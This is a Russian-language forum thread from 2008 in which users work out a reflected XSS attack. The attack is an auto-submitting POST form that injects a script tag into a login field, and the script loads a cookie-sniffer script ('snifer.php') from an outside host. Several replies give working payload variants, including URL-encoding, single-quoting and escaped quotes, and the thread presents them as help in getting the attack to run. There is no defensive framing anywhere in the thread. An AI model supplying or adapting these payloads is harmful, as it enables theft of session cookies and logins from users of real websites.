Пасивная Xss через Post

Discussion in 'PHP' started by Student :), 14 Jan 2008.

  1. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    Привет всем со старым НГ!!
    вот вопрос
    PHP:
    <form name="authForm" id="authForm" method="post" action="http://site.ru/login.php">
    <    input type="hidden" name="Login" value=""><script src="http://site2.ru/snifer.php"></script>">
    <input type="hidden" name="securityCode" value="0000">
    <input type="hidden" name="Submit.x" value="67">
    <input type="hidden" name="Submit.y" value="16">
    <script language="JavaScript" type="text/javascript">document.authForm.submit();</script>
    </form>
    ответ есть но не срабатывает "><script src="http://site2.ru/snifer.php">
    нужно обновить страницу тогда работает

    может както подругому зделать?
     
    #1 Student :), 14 Jan 2008
  2. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Попробуй вместо " поставить %22
     
    #2 bul.666, 14 Jan 2008
    Last edited: 14 Jan 2008
  3. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    а как быть?

    просто в качестве логина надо сылку вида "><script src="http://site2.ru/snifer.php">
     
    #3 Student :), 14 Jan 2008
  4. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    %22><script src=http://site2.ru/snifer.php></script>
    Попробуй так
     
    #4 bul.666, 14 Jan 2008
    1 person likes this.
  5. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    так не работает
     
    #5 Student :), 14 Jan 2008
  6. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    в поле логин %22><script src=http://site2.ru/snifer.php></script>
     
    #6 Student :), 14 Jan 2008
  7. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    так работает "><script src=http://site2.ru/snifer.php></script>!!!

    но надо обновить страницу чтоб выполнился <script src=http://site2.ru/snifer.php></script>
     
    #7 Student :), 14 Jan 2008
  8. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Ой торможу =)
    value='"><script src=http://site2.ru/snifer.php></script>'>
     
    #8 bul.666, 14 Jan 2008
  9. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    Помогите решить с меня +
     
    #9 Student :), 14 Jan 2008
  10. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Юзай FireBug в фф, там нажать применить и обновишь страницу, все ок будет
     
    #10 banned, 14 Jan 2008
  11. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Мда..... Просто поставь слеши перед кавычками внутри кавычек value
    Code:
    <input type="hidden" name="Login" value="\"><script src=\"http://site2.ru/snifer.php\"></script>">
    Либо двойные кавычки в value замени на одинарные

    Code:
    <input type="hidden" name="Login" value='"><script src="http://site2.ru/snifer.php"></script>'>
     
    #11 Macro, 14 Jan 2008
  12. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    это работает спасибо но как обновить страницу полученную Пост запросом ?
     
    #12 Student :), 14 Jan 2008
(You must log in or sign up to post here.)